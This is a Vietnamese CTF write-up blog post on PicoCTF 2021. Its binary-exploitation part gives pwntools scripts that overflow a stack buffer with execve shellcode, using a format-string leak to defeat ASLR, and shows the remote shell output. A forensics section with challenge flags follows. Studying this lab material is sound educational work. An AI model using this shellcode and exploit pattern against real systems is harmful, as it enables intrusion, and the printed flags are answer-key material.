[*] '/home/revirven/Desktop/GitHub/CTF-Writeups/PicoCTF-2021/Binary-Exploitation/Binary-Gauntlet-0/gauntlet'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments
[+] Opening connection to mercury.picoctf.net on port 12294: Done
[*] Switching to interactive mode
Pwned
fbd01d62c0e369e6de3d63b4b21d3830
[*] Got EOF while reading in interactive
$ 

-Binary Gauntlet 1

Tham khảo binary gauntlet 0

Kiểm tra file

file

gauntlet: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=2a7f79b758fdc250528e5bbc3da169fbf74e4ad3, not stripped

checksec

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX disabled
PIE:      No PIE (0x400000)
RWX:      Has RWX segments

Cũng như gauntlet 0, không khác gì lắm

Decompile & Disassemble

Decompile main

undefined8 main(void)
{
  char local_78 [104];
  char *local_10;
  local_10 = (char *)malloc(1000);
  printf("%p\n",local_78);
  fflush(stdout);
  fgets(local_10,1000,stdin);
  local_10[999] = '\0';
  printf(local_10);
  fflush(stdout);
  fgets(local_10,1000,stdin);
  local_10[999] = '\0';
  strcpy(local_78,local_10);
  return 0;
}

Lần này chương trình không có phương thức để đọc flag. Vì vậy chúng ta sẽ dùng shellcode để mở shell và đọc flag. Chương trình cung cấp cho ta địa chỉ của biến local_78, đây sẽ là nơi ta chèn shellcode vào và return về

printf("%p\n",local_78);

Disassemble main

0x0000000000400687 <+0>:  push   rbp
0x0000000000400688 <+1>:  mov    rbp,rsp
0x000000000040068b <+4>:  add    rsp,0xffffffffffffff80
0x000000000040068f <+8>:  mov    DWORD PTR [rbp-0x74],edi
0x0000000000400692 <+11>: mov    QWORD PTR [rbp-0x80],rsi
0x0000000000400696 <+15>: mov    edi,0x3e8
0x000000000040069b <+20>: call   0x400580 <malloc@plt>
0x00000000004006a0 <+25>: mov    QWORD PTR [rbp-0x8],rax
0x00000000004006a4 <+29>: lea    rax,[rbp-0x70]
0x00000000004006a8 <+33>: mov    rsi,rax
0x00000000004006ab <+36>: lea    rdi,[rip+0x122]        # 0x4007d4
0x00000000004006b2 <+43>: mov    eax,0x0
0x00000000004006b7 <+48>: call   0x400560 <printf@plt>
0x00000000004006bc <+53>: mov    rax,QWORD PTR [rip+0x20098d]        # 0x601050 <stdout@@GLIBC_2.2.5>
0x00000000004006c3 <+60>: mov    rdi,rax
0x00000000004006c6 <+63>: call   0x400590 <fflush@plt>
0x00000000004006cb <+68>: mov    rdx,QWORD PTR [rip+0x20098e]        # 0x601060 <stdin@@GLIBC_2.2.5>
0x00000000004006d2 <+75>: mov    rax,QWORD PTR [rbp-0x8]
0x00000000004006d6 <+79>: mov    esi,0x3e8
0x00000000004006db <+84>: mov    rdi,rax
0x00000000004006de <+87>: call   0x400570 <fgets@plt>
0x00000000004006e3 <+92>: mov    rax,QWORD PTR [rbp-0x8]
0x00000000004006e7 <+96>: add    rax,0x3e7
0x00000000004006ed <+102>:    mov    BYTE PTR [rax],0x0
0x00000000004006f0 <+105>:    mov    rax,QWORD PTR [rbp-0x8]
0x00000000004006f4 <+109>:    mov    rdi,rax
0x00000000004006f7 <+112>:    mov    eax,0x0
0x00000000004006fc <+117>:    call   0x400560 <printf@plt>
0x0000000000400701 <+122>:    mov    rax,QWORD PTR [rip+0x200948]        # 0x601050 <stdout@@GLIBC_2.2.5>
0x0000000000400708 <+129>:    mov    rdi,rax
0x000000000040070b <+132>:    call   0x400590 <fflush@plt>
0x0000000000400710 <+137>:    mov    rdx,QWORD PTR [rip+0x200949]        # 0x601060 <stdin@@GLIBC_2.2.5>
0x0000000000400717 <+144>:    mov    rax,QWORD PTR [rbp-0x8]
0x000000000040071b <+148>:    mov    esi,0x3e8
0x0000000000400720 <+153>:    mov    rdi,rax
0x0000000000400723 <+156>:    call   0x400570 <fgets@plt>
0x0000000000400728 <+161>:    mov    rax,QWORD PTR [rbp-0x8]
0x000000000040072c <+165>:    add    rax,0x3e7
0x0000000000400732 <+171>:    mov    BYTE PTR [rax],0x0
0x0000000000400735 <+174>:    mov    rdx,QWORD PTR [rbp-0x8]
0x0000000000400739 <+178>:    lea    rax,[rbp-0x70]
0x000000000040073d <+182>:    mov    rsi,rdx
0x0000000000400740 <+185>:    mov    rdi,rax
0x0000000000400743 <+188>:    call   0x400550 <strcpy@plt>
0x0000000000400748 <+193>:    mov    eax,0x0
0x000000000040074d <+198>:    leave  
0x000000000040074e <+199>:    ret  

Biến local_78 nằm tại [rbp - 0x70]. Chúng ta cần 0x80 bytes để ghi đè return address. Payload của ta sẽ có dạng "shellcode + padding * (0x78 - độ dài shellcode) + địa chỉ biến local_78"

Exploit

from pwn import *
context.binary = ELF("./gauntlet")
run = remote("mercury.picoctf.net", 13644)
addr = run.recvline()
run.sendline("Pwned")
addr = int(addr, 16)
payload = b'\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'
payload += b'A' * (0x78 - len(payload))
payload += p64(addr)
run.sendline(payload)
run.interactive()

Output

[*] '/home/revirven/Desktop/GitHub/CTF-Writeups/PicoCTF-2021/Binary-Exploitation/Binary-Gauntlet-1/gauntlet'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments
[+] Opening connection to mercury.picoctf.net on port 13644: Done
[*] Switching to interactive mode
Pwned
$ cat flag.txt
66fa43e73fc405235d4d2aa9da1b257f

-Binary Gauntlet 2

Tham khảo binay gaunlet 1

Kiểm tra file

file

gauntlet: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=2335fe540c6db20a6fba7947a73b044afebe221b, not stripped

checksec

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX disabled
PIE:      No PIE (0x400000)
RWX:      Has RWX segments

Decompile & Disassemble

Decompile main

undefined8 main(void)
{
  char local_78 [104];
  char *local_10;
  local_10 = (char *)malloc(1000);
  fgets(local_10,1000,stdin);
  local_10[999] = '\0';
  printf(local_10);
  fflush(stdout);
  fgets(local_10,1000,stdin);
  local_10[999] = '\0';
  strcpy(local_78,local_10);
  return 0;
}

Lần này chúng ta không được cung cấp địa chỉ của biến nữa. Ta cũng được cho biết rằng ASLR sẽ được bật ở host. Vì vậy ta phải tự leak lấy địa chỉ của biến để return về.

Còn nhớ về lỗi Format String mà tôi nhắc đến ở binary gauntlet 0 chứ ? Bây giờ chúng ta sẽ tận dụng nó.

Đôi chút về Format String ở x64

Khi truyền đối số vào hàm, các đối số từ 0 -> 5 sẽ được chứa trong các thanh ghi lần lượt là RDI, RSI, RDX, RCX, R8, R9, đối số thứ 6 trở đi sẽ được đưa vào stack. Vậy tại fgets đầu tiên, nếu ta nhập vào "%p %p %p %p %p %p" thì printf đầu tiên sẽ in ra màn hình lần lượt là nội dung thanh ghi RSI, RDX, RCX, R8, R9 rồi đến nội dung của ô nhớ trên stack ngay bên trên return address của hàm printf (Nội dung thanh ghi RDI không được in ra vì nó chứa chuỗi định dạng). Bằng cách này ta có thể đọc được bất kì ô nhớ nào trên stack mà ta muốn, ta chỉ việc tìm offset từ hàm printf đến nơi mà ta muốn đọc vì stack cũng chỉ là 1 dãy các ô nhớ liên tiếp với nhau.

Trên stack cũng chứa đầy những con trỏ trỏ đến một ô nhớ nào đó trên stack, tức là một ô nhớ chứa địa chỉ của một ô nhớ khác trên stack (Sound confusing eh ?). Debug chương trình và đặt breakpoint tại hàm main ta sẽ thấy được điều này

gef➤  x/20gx $rbp
0x7fffffffde40: 0x0000000000000000  0x00007ffff7deb0b3
0x7fffffffde50: 0x00007ffff7ffc620  0x00007fffffffdf38
0x7fffffffde60: 0x0000000100000000  0x0000000000400687
0x7fffffffde70: 0x0000000000400730  0xab124923a67f8c7e
0x7fffffffde80: 0x00000000004005a0  0x00007fffffffdf30
0x7fffffffde90: 0x0000000000000000  0x0000000000000000
0x7fffffffdea0: 0x54edb6dc1adf8c7e  0x54eda69ec6b18c7e
0x7fffffffdeb0: 0x0000000000000000  0x0000000000000000
0x7fffffffdec0: 0x0000000000000000  0x0000000000000001
0x7fffffffded0: 0x00007fffffffdf38  0x00007fffffffdf48

2 ô nhớ cuối cùng được in ra đang chứa địa chỉ của 2 ô nhớ trên stack

0x7fffffffded0: 0x00007fffffffdf38  0x00007fffffffdf48

Vì ở host ASLR sẽ được bật, nên ta sẽ bật ASLR và debug lại chương trình

gef➤  x/20gx $rbp
0x7ffd53335f90: 0x0000000000000000  0x00007f1eed7ba0b3
0x7ffd53335fa0: 0x00007f1eed9c5620  0x00007ffd53336088
0x7ffd53335fb0: 0x0000000100000000  0x0000000000400687
0x7ffd53335fc0: 0x0000000000400730  0x9cb5dd652d089fe9
0x7ffd53335fd0: 0x00000000004005a0  0x00007ffd53336080
0x7ffd53335fe0: 0x0000000000000000  0x0000000000000000
0x7ffd53335ff0: 0x634f7b0392489fe9  0x628807926dc69fe9
0x7ffd53336000: 0x0000000000000000  0x0000000000000000
0x7ffd53336010: 0x0000000000000000  0x0000000000000001
0x7ffd53336020: 0x00007ffd53336088  0x00007ffd53336098

Để ý rằng các địa chỉ đã thay đổi, nhưng offset giữa những ô nhớ thì vẫn giữ nguyên

0x7fffffffded0: 0x00007fffffffdf38  0x00007fffffffdf48

-> 0x00007fffffffdf48 - 0x00007fffffffdf38 = 0x10

0x7ffd53336020: 0x00007ffd53336088  0x00007ffd53336098

-> 0x00007ffd53336098 - 0x00007ffd53336088 = 0x10

Vậy ta chỉ việc leak 1 địa chỉ nào đó trên stack, sau đó tìm offset giữa địa chỉ đó và địa chỉ của biến local_78 và ta sẽ có được địa chỉ để return về.

Ta sẽ tắt ASLR và chạy lại chương trình. Ta thử nhập 10 "%p" vào fgets đầu tiên xem chúng ta sẽ nhận được những gì

%p %p %p %p %p %p %p %p %p %p
0x602691 (nil) 0x6026ae 0x6022a0 0x7c 0x7fffffffdf38 0x100000000 (nil) (nil) 0x400040

Ta thấy tại "%p" thứ 6 là địa chỉ của 1 ô nhớ trên stack. Ta có thể sử dụng địa chỉ này để tính toán offset đến biến local_78. Có thể dùng "%6$p" để chỉ lấy giá trị tại "%p" thứ 6.

Ta nhập 1 đống chữ A vào fgets thứ 2 để tìm vị trí biến local_78

gef➤  x/20gx $rsp
0x7fffffffddc0: 0x00007fffffffdf38  0x0000000100000000
0x7fffffffddd0: 0x4141414141414141  0x4141414141414141
0x7fffffffdde0: 0x4141414141414141  0x4141414141414141
0x7fffffffddf0: 0x4141414141414141  0x4141414141414141
0x7fffffffde00: 0x4141414141414141  0x4141414141414141
0x7fffffffde10: 0x4141414141414141  0x4141414141414141
0x7fffffffde20: 0x4141414141414141  0x00000a4141414141
0x7fffffffde30: 0x00007fffffffdf30  0x00000000006022a0
0x7fffffffde40: 0x0000000000000000  0x00007ffff7deb0b3
0x7fffffffde50: 0x00007ffff7ffc620  0x00007fffffffdf38

Biến local_78 bắt đầu từ 0x7fffffffddd0. Offset = 0x7fffffffdf38 - 0x7fffffffddd0 = 0x168

Disassemble main

0x0000000000400687 <+0>:   push   rbp
0x0000000000400688 <+1>:   mov    rbp,rsp
0x000000000040068b <+4>:   add    rsp,0xffffffffffffff80
0x000000000040068f <+8>:   mov    DWORD PTR [rbp-0x74],edi
0x0000000000400692 <+11>:  mov    QWORD PTR [rbp-0x80],rsi
0x0000000000400696 <+15>:  mov    edi,0x3e8
0x000000000040069b <+20>:  call   0x400580 <malloc@plt>
0x00000000004006a0 <+25>:  mov    QWORD PTR [rbp-0x8],rax
0x00000000004006a4 <+29>:  mov    rdx,QWORD PTR [rip+0x2009b5]        # 0x601060 <stdin@@GLIBC_2.2.5>
0x00000000004006ab <+36>:  mov    rax,QWORD PTR [rbp-0x8]
0x00000000004006af <+40>:  mov    esi,0x3e8
0x00000000004006b4 <+45>:  mov    rdi,rax
0x00000000004006b7 <+48>:  call   0x400570 <fgets@plt>
0x00000000004006bc <+53>:  mov    rax,QWORD PTR [rbp-0x8]
0x00000000004006c0 <+57>:  add    rax,0x3e7
0x00000000004006c6 <+63>:  mov    BYTE PTR [rax],0x0
0x00000000004006c9 <+66>:  mov    rax,QWORD PTR [rbp-0x8]
0x00000000004006cd <+70>:  mov    rdi,rax
0x00000000004006d0 <+73>:  mov    eax,0x0
0x00000000004006d5 <+78>:  call   0x400560 <printf@plt>
0x00000000004006da <+83>:  mov    rax,QWORD PTR [rip+0x20096f]        # 0x601050 <stdout@@GLIBC_2.2.5>
0x00000000004006e1 <+90>:  mov    rdi,rax
0x00000000004006e4 <+93>:  call   0x400590 <fflush@plt>
0x00000000004006e9 <+98>:  mov    rdx,QWORD PTR [rip+0x200970]        # 0x601060 <stdin@@GLIBC_2.2.5>
0x00000000004006f0 <+105>: mov    rax,QWORD PTR [rbp-0x8]
0x00000000004006f4 <+109>: mov    esi,0x3e8
0x00000000004006f9 <+114>: mov    rdi,rax
0x00000000004006fc <+117>: call   0x400570 <fgets@plt>
0x0000000000400701 <+122>: mov    rax,QWORD PTR [rbp-0x8]
0x0000000000400705 <+126>: add    rax,0x3e7
0x000000000040070b <+132>: mov    BYTE PTR [rax],0x0
0x000000000040070e <+135>: mov    rdx,QWORD PTR [rbp-0x8]
0x0000000000400712 <+139>: lea    rax,[rbp-0x70]
0x0000000000400716 <+143>: mov    rsi,rdx
0x0000000000400719 <+146>: mov    rdi,rax
0x000000000040071c <+149>: call   0x400550 <strcpy@plt>
0x0000000000400721 <+154>: mov    eax,0x0
0x0000000000400726 <+159>: leave  
0x0000000000400727 <+160>: ret    

Từ local_78 đến return address của main0x78 bytes.

Exploit

Local

from pwn import *
context.binary = ELF("./gauntlet")
run = process("./gauntlet")
run.sendline("%6$p")
leaked = int(run.recv().strip(), 16)
buf = leaked - 0x168
payload = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
payload += b'A' * (0x78 - len(payload))
payload += p64(buf)
run.sendline(payload)
run.interactive()

Local output

[*] '/home/revirven/Desktop/GitHub/CTF-Writeups/PicoCTF-2021/Binary-Exploitation/Binary-Gauntlet-2/gauntlet'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments
[+] Starting local process './gauntlet': pid 3560
[*] Switching to interactive mode
$ whoami
revirven
$  

Offset ở remote target system sẽ có chút khác biệt so với local (Offset từ địa chỉ bị leak đến local_780x158 thay vì 0x168)

Remote

from pwn import *
context.binary = ELF("./gauntlet")
run = remote("mercury.picoctf.net", 4349)
run.sendline("%6$p")
leaked = int(run.recv().strip(), 16)
buf = leaked - 0x158
payload = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
payload += b'A' * (0x78 - len(payload))
payload += p64(buf)
run.sendline(payload)
run.interactive()

Remote output

[*] '/home/revirven/Desktop/GitHub/CTF-Writeups/PicoCTF-2021/Binary-Exploitation/Binary-Gauntlet-2/gauntlet'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments
[+] Opening connection to mercury.picoctf.net on port 4349: Done
[*] Switching to interactive mode
$ cat flag.txt
bcf25d0f5d43dc2d9a40016f9d261819
$

shawking ... lười ....



*FORENSICS>

Stirring

-1. Information

164434195_123326646427510_4274251146342551561_n

download (8)

-2. Matryoshka doll

164822421_862938537588742_559715876628647739_n

164708049_814501092611206_8643528878716042788_n

164495850_259303822527100_6687462875972873333_n

So we got the flag: picoCTF{e3f378fe6c1ea7f6bc5ac2c3d6801c1f}

-3. Tunn3l v1s10n

165618266_1901895733290813_6695979576279454617_n

165558825_3649769611800628_8677898799086586756_n

42 4D 3E 07 00 00 00 00 00 00 36 00 00 00 28 00 00 00 6E 04 00 00 32 01 00 00 01 00 18 00 00 00

Vì đã thử nâng từ 32 01 ->> 32 02 và bức ảnh đã hiện ra thêm :D

164064190_520478316012426_6514811059129697675_n

Tiếp thôi 32 02 -> 32 03

download (11)

So we got the flag: picoCTF{qu1t3_a_v13w_2020}

-4. Wireshark doo dooo do doo...

shark1.zip

164688110_301630531515610_875587652764779898_n

download

168911334_732651690949977_2141637927140596849_n

Gur synt vf cvpbPGS{c33xno00_1_f33_h_qrnqorrs}

167127681_730852357587066_5881762056687373651_n

So we got the flag :D

-5. Trivial Flag Transfer Protocol

168837760_436928107595325_5013312693557380805_n

169297543_473903980714668_6282967211736740508_n

download (1)

167157233_460315035422327_5401500803605554920_n

TFTP DOESNT ENCRYPT OUR TRAFFIC SO WE MUST DISGUISEOUR FLAG TRANSFER. FIGURE OUT AWAY TO HIDE THE FLAG AND I WILL CHECK BACK FOR THE PLAN
   I USED THE PROGRAM AND HID IT WITH -DUEDILIGENCE. CHECK OUT THE PHOTOS

170066167_2927712374140759_3640017285400063701_n

So we got the flag

-6. Wireshark twoo twooo two twoo...

Hint1: Did you really find the flag? Hint2: Look for traffic that seems suspicious. [shark2.pcapng]()

168821344_959773858208974_7624007569779743192_n

168950366_778626423072533_4084078386040631460_n

download (2)

 cGljb0NU.reddshrimpandherring.com
      RnTkbnNf.reddshrimpandherring.com
      M3hmMWxf.reddshrimpandherring.com
      ZnR3X2Rl.reddshrimpandherring.com
      YWRiZWVm.reddshrimpandherring.com

-7. MacroHard WeakEdge

Forensics is fun

169148315_5377732578965822_2297541516591196728_n

kali㉿kali)-[~/Desktop]
└─$ file Forensics\ is\ fun.pptm 
Forensics is fun.pptm: Microsoft PowerPoint 2007+
┌──(kali㉿kali)-[~/Desktop]
└─$ unzip Forensics\ is\ fun.pptm                          
Archive:  Forensics is fun.pptm
  inflating: [Content_Types].xml     
  inflating: _rels/.rels             
  inflating: ppt/presentation.xml    
  inflating: ppt/slides/_rels/slide46.xml.rels  
  inflating: ppt/slides/slide1.xml   
  inflating: ppt/slides/slide2.xml   
  inflating: ppt/slides/slide3.xml   
  inflating: ppt/slides/slide4.xml   
  inflating: ppt/slides/slide5.xml   
  inflating: ppt/slides/slide6.xml   
  inflating: ppt/slides/slide7.xml   
  inflating: ppt/slides/slide8.xml   
  inflating: ppt/slides/slide9.xml   
  inflating: ppt/slides/slide10.xml  
  inflating: ppt/slides/slide11.xml  
  inflating: ppt/slides/slide12.xml  
  inflating: ppt/slides/slide13.xml  
  inflating: ppt/slides/slide14.xml  
  inflating: ppt/slides/slide15.xml  
  inflating: ppt/slides/slide16.xml  
  inflating: ppt/slides/slide17.xml  
  inflating: ppt/slides/slide18.xml  
  inflating: ppt/slides/slide19.xml  
  inflating: ppt/slides/slide20.xml  
  inflating: ppt/slides/slide21.xml  
  inflating: ppt/slides/slide22.xml  
  inflating: ppt/slides/slide23.xml  
  inflating: ppt/slides/slide24.xml  
  inflating: ppt/slides/slide25.xml  
  inflating: ppt/slides/slide26.xml  
  inflating: ppt/slides/slide27.xml  
  inflating: ppt/slides/slide28.xml  
  inflating: ppt/slides/slide29.xml  
  inflating: ppt/slides/slide30.xml  
  inflating: ppt/slides/slide31.xml  
  inflating: ppt/slides/slide32.xml  
  inflating: ppt/slides/slide33.xml  
  inflating: ppt/slides/slide34.xml  
  inflating: ppt/slides/slide35.xml  
  inflating: ppt/slides/slide36.xml  
  inflating: ppt/slides/slide37.xml  
  inflating: ppt/slides/slide38.xml  
  inflating: ppt/slides/slide39.xml  
  inflating: ppt/slides/slide40.xml  
  inflating: ppt/slides/slide41.xml  
  inflating: ppt/slides/slide42.xml  
  inflating: ppt/slides/slide43.xml  
  inflating: ppt/slides/slide44.xml  
  inflating: ppt/slides/slide45.xml  
  inflating: ppt/slides/slide46.xml  
  inflating: ppt/slides/slide47.xml  
  inflating: ppt/slides/slide48.xml  
  inflating: ppt/slides/slide49.xml  
  inflating: ppt/slides/slide50.xml  
  inflating: ppt/slides/slide51.xml  
  inflating: ppt/slides/slide52.xml  
  inflating: ppt/slides/slide53.xml  
  inflating: ppt/slides/slide54.xml  
  inflating: ppt/slides/slide55.xml  
  inflating: ppt/slides/slide56.xml  
  inflating: ppt/slides/slide57.xml  
  inflating: ppt/slides/slide58.xml  
  inflating: ppt/slides/_rels/slide47.xml.rels  
  inflating: ppt/slides/_rels/slide48.xml.rels  
  inflating: ppt/slides/_rels/slide49.xml.rels  
  inflating: ppt/slides/_rels/slide50.xml.rels  
  inflating: ppt/slides/_rels/slide32.xml.rels  
  inflating: ppt/slides/_rels/slide52.xml.rels  
  inflating: ppt/slides/_rels/slide53.xml.rels  
  inflating: ppt/slides/_rels/slide54.xml.rels  
  inflating: ppt/slides/_rels/slide55.xml.rels  
  inflating: ppt/slides/_rels/slide56.xml.rels  
  inflating: ppt/slides/_rels/slide57.xml.rels  
  inflating: ppt/slides/_rels/slide58.xml.rels  
  inflating: ppt/slides/_rels/slide51.xml.rels  
  inflating: ppt/slides/_rels/slide13.xml.rels  
  inflating: ppt/_rels/presentation.xml.rels  
  inflating: ppt/slides/_rels/slide1.xml.rels  
  inflating: ppt/slides/_rels/slide2.xml.rels  
  inflating: ppt/slides/_rels/slide3.xml.rels  
  inflating: ppt/slides/_rels/slide4.xml.rels  
  inflating: ppt/slides/_rels/slide5.xml.rels  
  inflating: ppt/slides/_rels/slide6.xml.rels  
  inflating: ppt/slides/_rels/slide7.xml.rels  
  inflating: ppt/slides/_rels/slide8.xml.rels  
  inflating: ppt/slides/_rels/slide9.xml.rels  
  inflating: ppt/slides/_rels/slide10.xml.rels  
  inflating: ppt/slides/_rels/slide11.xml.rels  
  inflating: ppt/slides/_rels/slide12.xml.rels  
  inflating: ppt/slides/_rels/slide14.xml.rels  
  inflating: ppt/slides/_rels/slide15.xml.rels  
  inflating: ppt/slides/_rels/slide16.xml.rels  
  inflating: ppt/slides/_rels/slide17.xml.rels  
  inflating: ppt/slides/_rels/slide18.xml.rels  
  inflating: ppt/slides/_rels/slide19.xml.rels  
  inflating: ppt/slides/_rels/slide20.xml.rels  
  inflating: ppt/slides/_rels/slide21.xml.rels  
  inflating: ppt/slides/_rels/slide22.xml.rels  
  inflating: ppt/slides/_rels/slide23.xml.rels  
  inflating: ppt/slides/_rels/slide24.xml.rels  
  inflating: ppt/slides/_rels/slide25.xml.rels  
  inflating: ppt/slides/_rels/slide26.xml.rels  
  inflating: ppt/slides/_rels/slide27.xml.rels  
  inflating: ppt/slides/_rels/slide28.xml.rels  
  inflating: ppt/slides/_rels/slide29.xml.rels  
  inflating: ppt/slides/_rels/slide30.xml.rels  
  inflating: ppt/slides/_rels/slide31.xml.rels  
  inflating: ppt/slides/_rels/slide33.xml.rels  
  inflating: ppt/slides/_rels/slide34.xml.rels  
  inflating: ppt/slides/_rels/slide35.xml.rels  
  inflating: ppt/slides/_rels/slide36.xml.rels  
  inflating: ppt/slides/_rels/slide37.xml.rels  
  inflating: ppt/slides/_rels/slide38.xml.rels  
  inflating: ppt/slides/_rels/slide39.xml.rels  
  inflating: ppt/slides/_rels/slide40.xml.rels  
  inflating: ppt/slides/_rels/slide41.xml.rels  
  inflating: ppt/slides/_rels/slide42.xml.rels  
  inflating: ppt/slides/_rels/slide43.xml.rels  
  inflating: ppt/slides/_rels/slide44.xml.rels  
  inflating: ppt/slides/_rels/slide45.xml.rels  
  inflating: ppt/slideMasters/slideMaster1.xml  
  inflating: ppt/slideLayouts/slideLayout1.xml  
  inflating: ppt/slideLayouts/slideLayout2.xml  
  inflating: ppt/slideLayouts/slideLayout3.xml  
  inflating: ppt/slideLayouts/slideLayout4.xml  
  inflating: ppt/slideLayouts/slideLayout5.xml  
  inflating: ppt/slideLayouts/slideLayout6.xml  
  inflating: ppt/slideLayouts/slideLayout7.xml  
  inflating: ppt/slideLayouts/slideLayout8.xml  
  inflating: ppt/slideLayouts/slideLayout9.xml  
  inflating: ppt/slideLayouts/slideLayout10.xml  
  inflating: ppt/slideLayouts/slideLayout11.xml  
  inflating: ppt/slideMasters/_rels/slideMaster1.xml.rels  
  inflating: ppt/slideLayouts/_rels/slideLayout1.xml.rels  
  inflating: ppt/slideLayouts/_rels/slideLayout2.xml.rels  
  inflating: ppt/slideLayouts/_rels/slideLayout3.xml.rels  
  inflating: ppt/slideLayouts/_rels/slideLayout4.xml.rels  
  inflating: ppt/slideLayouts/_rels/slideLayout5.xml.rels  
  inflating: ppt/slideLayouts/_rels/slideLayout6.xml.rels  
  inflating: ppt/slideLayouts/_rels/slideLayout7.xml.rels  
  inflating: ppt/slideLayouts/_rels/slideLayout8.xml.rels  
  inflating: ppt/slideLayouts/_rels/slideLayout9.xml.rels  
  inflating: ppt/slideLayouts/_rels/slideLayout10.xml.rels  
  inflating: ppt/slideLayouts/_rels/slideLayout11.xml.rels  
  inflating: ppt/theme/theme1.xml    
 extracting: docProps/thumbnail.jpeg  
  inflating: ppt/vbaProject.bin      
  inflating: ppt/presProps.xml       
  inflating: ppt/viewProps.xml       
  inflating: ppt/tableStyles.xml     
  inflating: docProps/core.xml       
  inflating: docProps/app.xml        
  inflating: ppt/slideMasters/hidden  

hint: 1.Have you ever used file to determine what a file was? 2.Relevant terminal-fu in picoGym: https://play.picoctf.org/practice/challenge/85 3.Mastering this terminal-fu would enable you to find the flag in a single command: https://play.picoctf.org/practice/challenge/48 4.Using your own computer, you could use qemu to boot from this disk!

171704512_450224019375708_2686701168749791738_n

So we got the flag:

-9. Disk, disk, sleuth! II

hint: 1.The sleuthkit has some great tools for this challenge as well. 2.Sleuthkit docs here are so helpful: TSK Tool Overview 3.This disk can also be booted with qemu!

170290969_1827711787407617_7564603466930732663_n

So we got the flag:

-10. MilkSlap

hint: Look at the problem category

170680396_295053755557520_6097964404318094558_n

-11. Sufing the Waves

hint: Music is cool, but what other kinds of waves are there? hint: Look deep below the surface

image

┌──(kali㉿kali)-[~/Desktop]
└─$ python3 waves.py                       
#!/usr/bin/env python3
import numpy as np
from scipy.io.wavfile import write
from binascii import hexlify
from random import random
with open('generate_wav.py', 'rb') as f:
        content = f.read()
        f.close()
# Convert this program into an array of hex values
hex_stuff = (list(hexlify(content).decode("utf-8")))
# Loop through the each character, and convert the hex a-f characters to 10-15
for i in range(len(hex_stuff)):
        if hex_stuff[i] == 'a':
                hex_stuff[i] = 10
        elif hex_stuff[i] == 'b':
                hex_stuff[i] = 11
        elif hex_stuff[i] == 'c':
                hex_stuff[i] = 12
        elif hex_stuff[i] == 'd':
                hex_stuff[i] = 13
        elif hex_stuff[i] == 'e':
                hex_stuff[i] = 14
        elif hex_stuff[i] == 'f':
                hex_stuff[i] = 15
        # To make the program actually audible, 100 hertz is added from the beginning, then the number is multiplied by
        # 500 hertz
        # Plus a cheeky random amount of noise
        hex_stuff[i] = 1000 + int(hex_stuff[i]) * 500 + (10 * random())
def sound_generation(name, rand_hex):
        # The hex array is converted to a 16 bit integer array
        scaled = np.int16(np.array(hex_stuff))
        # Sci Pi then writes the numpy array into a wav file
        write(name, len(hex_stuff), scaled)
        randomness = rand_hex
# Pump up the music!
# print("Generating main.wav...")
# sound_generation('main.wav')
# print("Generation complete!")
# Your ears have been blessed
# picoCTF{mU21C_1s_1337_6a936af2}

So we got the flag

-12. Very very very Hidden

image

image

Yeah we have 2 duck.png favicon.ico chỉ là icon NothingSus chắc là nothing thôi. The %5c one is empty

Cám ơn mọi người đã xem!

TIN LIÊN QUAN
5 days with Hack The Box Author: Stirring + n3m0 Team: Sp33ch_0f_T1m3 + Anti_Wannaone Nhóm Wanna.One chia sẻ một số Challenges giải được và việc chia sẻ writeup nhằm mục đích giao lưu học thuật. Mọi đóng-góp ý-kiến bọn mình luôn-luôn tiếp nhận qua mail: wannaone.uit@gmail.com 1.Authenticator rev_authenticator.zip Thử thách...
Nhóm Wanna.One chia sẻ một số Challenges giải được và việc chia sẻ writeup nhằm mục đích giao lưu học thuật. Mọi đóng-góp ý-kiến bọn mình luôn-luôn tiếp nhận qua mail: wannaone.uit@gmail.com WEB author: n3mo #HACKME des của chall như sau, nó nói xạo á chứ mình test thì limit...
Nhóm Wanna.One chia sẻ một số Challenges giải được và việc chia sẻ writeup nhằm mục đích giao lưu học thuật. Mọi đóng-góp ý-kiến bọn mình luôn-luôn tiếp nhận qua mail: wannaone.uit@gmail.com Tác giả: n3mo #calc.exe online source được cấp như sau, như thường lệ đối với mỗi bài có...